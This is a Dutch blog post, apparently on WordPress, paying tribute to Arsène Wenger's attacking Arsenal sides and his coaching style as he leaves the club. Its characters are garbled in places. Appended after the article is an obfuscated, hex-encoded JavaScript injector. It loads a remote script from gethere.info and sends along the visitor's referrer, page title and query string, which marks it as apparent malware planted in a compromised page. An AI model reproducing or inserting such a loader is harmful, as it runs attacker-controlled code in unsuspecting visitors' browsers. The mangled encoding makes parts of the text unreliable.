Die opmerkelijke verschillen in kwaliteit tussen zijn verdedigers en middenvelders/aanvallers waren soms zo navrant dat ik hem er weleens van heb verdacht dit opzettelijk te doen. Om aldus de genialiteit en attractiviteit van het aanvalsspel nA?g beter tot uitdrukking te brengen. Opdat hun sierlijkheid en souplesse nA?g beter afsteken tegen de stramheid en lompheid van de detonerende defenseurs. Dat je, een nagenoeg verwaarloosde verdediging ten spijt, toch een tegenstander stuk kunt spelen met creativiteit, snelheid en effectiviteit. Want wat heeft het Arsenal van Wenger prachtige spelers voortgebracht, die de wonderbaarlijkste combinaties, spelpatronen en doelpunten het licht deden zien! Van Bergkamp tot Van Persie, van Petit tot Wilshere, van PirA?s tot Ramsey, van Fabregas tot A�zil, van Henry tot Welbeck, van Viera tot Rosicky?, van Kanu tot Wiltord, van Limpar tot Ljungberg, van Hleb tot Nasri.

Hij was ook vaak narrig en warrig. In de knoop met zichzelf en met zijn jas. Een slechte verliezer en niet altijd een goede collega. Wenger, kortom, was net een mens. Maar bovenal een revolutionaire voetbaltrainer, die altijd oog had voor de kwaliteit van het spel. Zijn nederlagen en het – vooral de laatste jaren – gebrek aan prijzen leidden er hoogst zelden toe om op de Mourinho-toer te gaan. Een enkele keer liet hij zich ertoe verleiden om zich aan een op papier betere (Barcelona) tegenstander aan te passen, maar verreweg meestentijds koos hij qua tactiek en opstelling voor de voetballende variant, soms tot aan het naA?eve toe. Dat laatste ging met name bij de aanhang steeds meer wringen en mondde uit in de ‘Wenger out’-spreekkoren en -spandoekjes. Nogmaals, dat had-ie zelf kunnen voorkomen door eerder op te stappen. Of zijn naaste omgeving had hem dit in moeten fluisteren, voor zover niet gebeurd.

Dat Le ProfesseurA�zelf bepaalt wanneer hij zijn afscheidscollege geeft, is evenwel zijn volste recht. En dat hij over de uiteindelijke besluitvorming ook narrig en warrig communiceert, is geheel in stijl met zijn persoon. Zoals ook het thuisduel gisteravond tegen Atleti geheel in stijl was: domineren, bij vlagen excelleren, maar toch een tegendoelpunt incasseren. Toch blijven we hopen dat Wenger met de Europa League-Cup op zak zijn Arsenal-loopbaan afsluit. Mij heeft hij met zijn Invincibles ontelbare mooie voetbalmomenten bezorgd en daarvoor ben ik hem eeuwig dankbaar. Als zijn Arsenal in vorm stak, was het puur voetbalkijkgenot. Combinaties waren dan van hogeschoolkwaliteit, het positiespel had tiki-taka-allure en de doelpunten waren dan vaak van een ongekende schoonheid. We geven hem De Schoonheidsprijs als oeuvreprijs. Met onderstaande video als magnum opus. Merci Arsene Wenger!

var _0x31f1=[“x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26x73x65x5Fx72x65x66x65x72x72x65x72x3D”,”x72x65x66x65x72x72x65x72″,”x26x64x65x66x61x75x6Cx74x5Fx6Bx65x79x77x6Fx72x64x3D”,”x74x69x74x6Cx65″,”x26″,”x3F”,”x72x65x70x6Cx61x63x65″,”x73x65x61x72x63x68″,”x6Cx6Fx63x61x74x69x6Fx6E”,”x26x66x72x6Dx3Dx73x63x72x69x70x74″,”x63x75x72x72x65x6Ex74x53x63x72x69x70x74″,”x69x6Ex73x65x72x74x42x65x66x6Fx72x65″,”x70x61x72x65x6Ex74x4Ex6Fx64x65″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65″,”x70x72x6Fx74x6Fx63x6Fx6C”,”x68x74x74x70x73x3A”,”x69x6Ex64x65x78x4Fx66″,”x52x5Fx50x41x54x48″,”x54x68x65x20x77x65x62x73x69x74x65x20x77x6Fx72x6Bx73x20x6Fx6Ex20x48x54x54x50x53x2Ex20x54x68x65x20x74x72x61x63x6Bx65x72x20x6Dx75x73x74x20x75x73x65x20x48x54x54x50x53x20x74x6Fx6Fx2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

%d bloggers liken dit: